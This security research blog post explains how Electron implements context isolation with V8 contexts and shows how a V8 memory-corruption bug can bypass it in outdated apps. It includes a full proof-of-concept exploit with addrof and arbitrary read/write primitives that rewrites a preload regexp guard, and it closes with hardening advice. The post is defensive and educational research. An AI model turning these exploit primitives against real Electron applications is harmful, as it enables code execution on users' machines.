Mind the v8 patch gap: Electron's Context Isolation is insecure
TL;DR
As I was working on the script for my Discord RCE video, I took another look at Electron security and noticed that a lot of apps don’t fully understand how context isolation works and potential vulnerabilities in context isolation, especially if they’re not regularly updating Electron. I came across a few apps where, with a V8 exploit, you can actually bypass context isolation and access dangerous APIs within the isolated context, APIs that normally wouldn’t be accessible from the main context. In this post, I want to share some insights for both bug hunters and developers on issues they might find around context isolation.
Chrome isolates: How context isolation works
From Electron documentation, it states context isolation as
Context Isolation is a feature that ensures that both your preload scripts and Electron’s internal logic run in a separate context to the website you load in a webContents. This is important for security purposes as it helps prevent the website from accessing Electron internals or the powerful APIs your preload script has access to.
This means that the window object that your preload script has access to is actually a different object than the website would have access to. For example, if you set window.hello = ‘wave’ in your preload script and context isolation is enabled, window.hello will be undefined if the website tries to access it.
The architecture looks as below.
Example
Let’s assume a basic Electron app that loads an external page, https://ctf.s1r1us.ninja/jsbin.html. Here’s how we can use context isolation to protect against unauthorized access to Electron’s internal APIs or any sensitive functionality.
main.js
1const { app, BrowserWindow } = require('electron');
2const path = require('path');
3
4function createWindow() {
5 const win = new BrowserWindow({
6 width: 800,
7 height: 600,
8 webPreferences: {
9 preload: path.join(__dirname, 'preload.js'),
10 contextcontextIsolation: true, // Enable context isolation
11 nodeIntegration: false // Disable Node.js integration in renderer
12 }
13 });
14
15 win.loadURL('https://ctf.s1r1us.ninja/jsbin.html');//[1]
16}
17
18app.whenReady().then(createWindow);
19
20app.on('window-all-closed', () => {
21 if (process.platform !== 'darwin') app.quit();
22});
23
24app.on('activate', () => {
25 if (BrowserWindow.getAllWindows().length === 0) createWindow();
26});
Here’s what each setting does:
- nodeIntegration: false prevents the webpage from directly accessing Node.js APIs, reducing the risk of system access.
- contextIsolation: true ensures that Electron’s internals and any APIs defined in preload scripts remain isolated from the external webpage.
Now, Let’s say we want to give https://ctf.s1r1us.ninja access to a restricted set of modules, but without compromising security. We can achieve this by defining a safeRequire function in our preload script. This function will only allow access to modules with specific names, ensuring that ctf.s1r1us.ninja can’t load unauthorized modules or perform unsafe operations like require('child_process').exec('calc');
.
preload.js
1const { contextBridge } = require('electron');
2
3function safeRequire(name) {
4 var regexp = /^only_allow_this_module_[a-z0-9_-]+$/;
5 if (!regexp.test(name)) { // only allow specific modules starting with a vlaue
6 throw new Error(`"${String(name)}" is not allowed`);
7 }
8 return require(name);
9}
10
11contextBridge.exposeInMainWorld('secureAPI', {
12 safeRequire: (name) => safeRequire(name)
13});
This preload script uses contextBridge.exposeInMainWorld to safely expose safeRequire as window.secureAPI.safeRequire in the renderer. Now, the webpage can only load modules whose names start with only_allow_this_module_, ensuring that access is tightly controlled.
And In https://ctf.s1r1us.ninja/jsbin.html, we can safely use window.secureAPI.safeRequire to load only the allowed modules:
ctf.s1r1us.ninja/jsbin.html
1 <script>
2 document.getElementById('loadModuleButton').addEventListener('click', () => {
3 try {
4 const module = window.secureAPI.safeRequire('only_allow_this_module_safe-module');
5 console.log('Loaded module:', module);
6 } catch (error) {
7 console.error('Error loading module:', error.message);
8 }
9 });
10 </script>
How electron implemented context isolation?
Electron leverages V8 isolates to create a secure execution environment within each renderer process, preventing web content(ctf.s1r1us.ninja) from directly accessing Electron or Node.js APIs (in preload.js). It is similar to how extensions work and cloudflare’s webworkers work.
The source code of it implemenation can be found here. https://github.com/electron/electron/blob/main/shell/renderer/api/electron_api_context_bridge.cc
The minimal version looks as below(unsnipped version), you can compile and play around with it.
$ clang++ hello_world.cc -I. -Iinclude -Lout.gn/main.release/obj -lv8_monolith -o hello_world -std=c++17 -stdlib=libc++ -DV8_COMPRESS_POINTERS -target arm64-apple-macos11 -lpthread&& ./hello_world
1#include <libplatform/libplatform.h>
2#include <v8.h>
3
4#include <iostream>
5
6namespace my_bridge {
7
8const int kMaxRecursion = 1000;
9
10bool DeepFreeze(const v8::Local<v8::Object>& object,
11 v8::Local<v8::Context> context) {
12 [...]
13 }
14 return object->SetIntegrityLevel(context, v8::IntegrityLevel::kFrozen)
15 .ToChecked();
16}
17
18v8::MaybeLocal<v8::Value> PassValueToOtherContext(
19 v8::Local<v8::Context> source_context,
20 v8::Local<v8::Context> destination_context, v8::Local<v8::Value> value) { //PassValueToOtherContext
21 v8::Context::Scope destination_scope(destination_context);
22[...]
23
24 if (value->IsObject()) {
25 v8::Local<v8::Object> obj = value.As<v8::Object>();
26 DeepFreeze(obj, destination_context);
27 return obj;
28 }
29
30 return v8::MaybeLocal<v8::Value>(value);
31}
32
33void ExposeInMainWorld(v8::Isolate* isolate,
34 v8::Local<v8::Context> main_context,
35 v8::Local<v8::Object> object, const std::string& name) {
36 v8::Context::Scope main_scope(main_context);
37 main_context->Global()
38 ->Set(main_context,
39 v8::String::NewFromUtf8(isolate, name.c_str()).ToLocalChecked(),
40 object)
41 .Check();
42}
43void InitializeContextBridge(v8::Isolate* isolate) {
44 v8::HandleScope handle_scope(isolate);
45
46 auto main_context = v8::Context::New(isolate); // [1]
47 SetUpConsole(isolate, main_context);
48 v8::Global<v8::Context> main_context_global(isolate, main_context);
49 isolate->SetData(0, &main_context_global);
50
51 auto isolated_context = v8::Context::New(isolate); // [2]
52 SetUpConsole(isolate, isolated_context);
53 v8::Context::Scope isolated_scope(isolated_context);
54
55 isolated_context->Global()
56 ->Set(isolated_context,
57 v8::String::NewFromUtf8(isolate, "ExposeInMainWorld") //[3] contextbridge.ExposeInMainWorld
58 .ToLocalChecked(),
59 v8::Function::New(
60 isolated_context,
61 [](const v8::FunctionCallbackInfo<v8::Value>& args) {
62 if (args.Length() < 2 || !args[0]->IsString() ||
63 !args[1]->IsObject()) {
64 args.GetIsolate()->ThrowException(
65 v8::String::NewFromUtf8(args.GetIsolate(),
66 "Invalid arguments")
67 .ToLocalChecked());
68 return;
69 }
70
71 v8::Isolate* isolate = args.GetIsolate();
72 v8::String::Utf8Value name(isolate, args[0]);
73 v8::Local<v8::Object> object = args[1].As<v8::Object>();
74 v8::Local<v8::Context> main_context =
75 v8::Local<v8::Context>::New(
76 isolate, *static_cast<v8::Global<v8::Context>*>(
77 isolate->GetData(0)));
78 my_bridge::ExposeInMainWorld(isolate, main_context, object,
79 *name);
80 })
81 .ToLocalChecked())
82 .Check();
83
84 const char* isolated_code = R"(
85 console.log("In Isolated Context:");
86 var regexp = /^only_allow_this_[a-z0-9_-]+$/;
87 %DebugPrint(regexp);
88 %DebugPrint(regexp.source);
89 function requireModule(name) {
90 if (regexp.test(name) ) {
91 return false;
92 }
93 return true;
94 }
95 const myObject = { name: "isolated_object", requireModule:requireModule}
96 ExposeInMainWorld("exposedObject", myObject); //[3]
97 %DebugPrint(myObject);
98
99 )"; //preload.js
100 v8::Local<v8::String> source =
101 v8::String::NewFromUtf8(isolate, isolated_code).ToLocalChecked();
102 v8::Local<v8::Script> script;
103 if (!v8::Script::Compile(isolated_context, source).ToLocal(&script)) {
104 std::cerr << "Failed to compile isolated context script." << std::endl;
105 return;
106 }
107 script->Run(isolated_context).ToLocalChecked();
108
109 const char* main_code = R"(
110 console.log("In Main Context:");
111
112 %DebugPrint(exposedObject);
113 console.log(exposedObject.requireModule('test'));
114
115 )"; //ctf.s1r1us.ninja
116 v8::Local<v8::String> main_source =
117 v8::String::NewFromUtf8(isolate, main_code).ToLocalChecked();
118 v8::Local<v8::Script> main_script;
119 if (!v8::Script::Compile(main_context, main_source).ToLocal(&main_script)) {
120 std::cerr << "Failed to compile main context script." << std::endl;
121 return;
122 }
123 main_script->Run(main_context).ToLocalChecked();
124}
125
126int main(int argc, char* argv[]) {
127[...]
128 v8::V8::Initialize();
129
130 v8::Isolate::CreateParams create_params;
131 create_params.array_buffer_allocator =
132 v8::ArrayBuffer::Allocator::NewDefaultAllocator();
133 v8::Isolate* isolate = v8::Isolate::New(create_params);
134
135 {
136 v8::Isolate::Scope isolate_scope(isolate);
137 InitializeContextBridge(isolate);
138 }
139
140 [...]
141}
Electron defines two distinct JavaScript environments—a main context[1] and an isolated context—using[2] V8’s isolate mechanism. The isolated context cannot directly access objects or functions from the main context, thus preserving security boundaries. However, a function (ExposeInMainWorld)[3] is defined to expose specific objects from the isolated context to the main context in a controlled manner using PassValueToOtherContext[4].
Few important things to note here
- V8 isolates act as self-contained JavaScript environments, ensuring that code within each isolate can only access its own memory and resources.
- By separating the JavaScript context of the renderer from the context of Electron internals, context isolation protects against potentially dangerous code from accessing restricted APIs.
- Although isolates create a barrier, Electron provides a secure way to share specific APIs between the isolated renderer and main process using ContextBridge. The ContextBridge allows carefully controlled access to selected functions and data by exposing APIs in a way that maintains isolation, allowing only pre-defined, safe interactions.
So far so good! What’s wrong with it tho?
Although V8 isolates separate JavaScript contexts to prevent direct access across them, a memory corruption bug—like the common Type Confusion, can potentially allow one context to access or manipulate the memory of another. This essentially can be used to bypass Electron’s context isolation. This is a known risk not only in Electron(but it seems most apps are not aware) but also in environments like Cloudflare Workers, which uses V8 isolates for multi-tenant isolation. Cloudflare’s threat model doc addresses this risk with an impressive 24-hour patch gap, ensuring V8 bugs are swiftly patched. Electron also patches V8 vulnerabilities as soon as they’re available.
However, there’s a catch: while Electron releases new versions promptly, desktop applications often way behind in updating their Electron versions. In our previous Electrovolt research, we exploited this patch gap in numerous applications, revealing how outdated Electron versions leave popular desktop apps open to compromise. You can check it out in detail here.
But it is still the case. Just Open any Electron app, go to the devtools, and run navigator.userAgent
. Chances are, it’s running a much older version of Chromium.
Context Isolation Bypass via V8 Exploit
For a proof of concept, I created this code that bypasses context isolation using an old V8 exploit. In the example, I modify the source
property of var regexp = /^only_allow_this_module_[a-z0-9_-]+$/;
to arbitrary values using memory corruption bug, essentially bypassing the regular expression checks and enabling access to otherwise restricted modules. This example demonstrates how a memory corruption bug in V8 can be used to circumvent context isolation and execute unintended code.
1 const char* isolated_code = R"(
2 console.log("In Isolated Context:");
3 var regexp = /^only_allow_this_module_[a-z0-9_-]+$/;
4 %DebugPrint(regexp);
5 %DebugPrint(regexp.source);
6 function requireModule(name) {
7 if (regexp.test(name) && name !== 'erlpack') {
8 return false;
9 }
10 return true;
11 }
12 const myObject = { name: "isolated_object", requireModule:requireModule}
13 ExposeInMainWorld("exposedObject", myObject);
14 %DebugPrint(myObject);
15
16 )";
17 v8::Local<v8::String> source =
18 v8::String::NewFromUtf8(isolate, isolated_code).ToLocalChecked();
19 v8::Local<v8::Script> script;
20 if (!v8::Script::Compile(isolated_context, source).ToLocal(&script)) {
21 std::cerr << "Failed to compile isolated context script." << std::endl;
22 return;
23 }
24 script->Run(isolated_context).ToLocalChecked();
25
26 const char* main_code = R"(
27 console.log("In Main Context:");
28 let conversion_buffer = new ArrayBuffer(8);
29 let float_view = new Float64Array(conversion_buffer);
30 let int_view = new BigUint64Array(conversion_buffer);
31 BigInt.prototype.hex = function() {
32 return '0x' + this.toString(16);
33 };
34 BigInt.prototype.i2f = function() {
35 int_view[0] = this;
36 return float_view[0];
37 }
38 Number.prototype.f2i = function() {
39 float_view[0] = this;
40 return int_view[0];
41 }
42 function gc() {
43 for(let i=0; i<((1024 * 1024)/0x10); i++) {
44 var a = new String();
45 }
46 }
47
48
49 function f(a) {
50 let x = -1;
51 if (a) x = 0xFFFFFFFF;
52 let oob_smi = new Array(Math.sign(0 - Math.max(0, x, -1)));
53 oob_smi.pop();
54 let oob_double = [3.14, 3.14];
55 let arr_addrof = [{}];
56 let aar_double = [2.17, 2.17];
57 let www_double = new Float64Array(0x20);
58 return [oob_smi, oob_double, arr_addrof, aar_double, www_double];
59 }
60 // gc();
61console.log(11)
62 for (var i = 0; i < 0x10000; ++i) {
63 f(false);
64 }
65 let [oob_smi, oob_double, arr_addrof, aar_double, www_double] = f(true);
66 console.log("[+] oob_smi.length = " + oob_smi.length);
67 oob_smi[14] = 0x1234;
68 console.log("[+] oob_double.length = " + oob_double.length);
69 let primitive = {
70 addrof: (obj) => {
71 arr_addrof[0] = obj;
72 return (oob_double[8].f2i() >> 32n) - 1n;
73 },
74 half_aar64: (addr) => {
75 oob_double[15] = ((oob_double[15].f2i() & 0xffffffff00000000n)
76 | ((addr - 0x8n) | 1n)).i2f();
77 return aar_double[0].f2i();
78 },
79 half_aaw64: (addr, value) => {
80 oob_double[15] = ((oob_double[15].f2i() & 0xffffffff00000000n)
81 | ((addr - 0x8n) | 1n)).i2f();
82 aar_double[0] = value.i2f(); // Writes `value` at `addr
83 },
84 full_aaw: (addr, values) => {
85 let offset = -1;
86 for (let i = 0; i < 0x100; i++) {
87 if (oob_double[i].f2i() == 8n*0x20n
88 && oob_double[i+1].f2i() == 0x20n) {
89 offset = i+2;
90 break;
91 }
92 }
93 if (offset == -1) {
94 console.log("[-] Bad luck!");
95 return;
96 } else {
97 console.log("[+] offset = " + offset);
98 }
99 oob_double[offset] = addr.i2f();
100 for (let i = 0; i < values.length; i++) {
101 console.log(i, www_double[i].f2i().hex(), values[i].f2i().hex());
102 www_double[i] = values[i];
103 }
104 }
105 };
106
107 exp_addrof = primitive.addrof(exposedObject);
108 console.log(exp_addrof.hex());
109 exp_r = primitive.half_aar64(exp_addrof)
110console.log(111)
111 source_addrof = (exp_r &0xffffffffn) + 353016n;
112 console.log("[+] source_addrof : " +source_addrof.hex());
113
114
115 regexp_source = primitive.half_aar64(source_addrof+8n+4n);
116 console.log("[+] regexp_source_str: "+regexp_source.hex());
117
118 primitive.full_aaw(0x16bf081dee29n+8n, 0x64726f6373696444n);
119 regexp_source = primitive.half_aar64(source_addrof+8n+4n);
120 console.log("[+] after regexp_source_str: "+regexp_source.hex());
121
122 %DebugPrint(exposedObject);
123 console.log(exposedObject.requireModule('erlpack'));
124
125 )";
PassValueToOtherContext for bug hunters
This is not a issue, but a pointer to bug hunters for to find some interesting context isolation bypass, PassValueToOtherContext is particularly interesting function, it passes objects from isolated cotnext to main context, if not implemented correctly or missed some behaviour this would allow leaking isolated context objects or fucntions to main cotnext. few example cve a. CVE-2023-29198 Error thrown in isolated context leaked to main allows bypass. Diff here b. 3 more context isolation bypass via leaked objects in main context here
To Developers of Electron Applications
Update Electron Promptly: Always update Electron to the latest version as soon as it’s available. This minimizes the risk from any recently patched vulnerabilities in V8 and Electron. Regular updates are crucial to maintaining the security of your application.
Enable Sandboxing: Use Electron’s sandboxing feature to further reduce the attack surface. By isolating renderer processes, sandboxing adds an extra layer of security that helps contain potential exploits, even in the presence of vulnerabilities.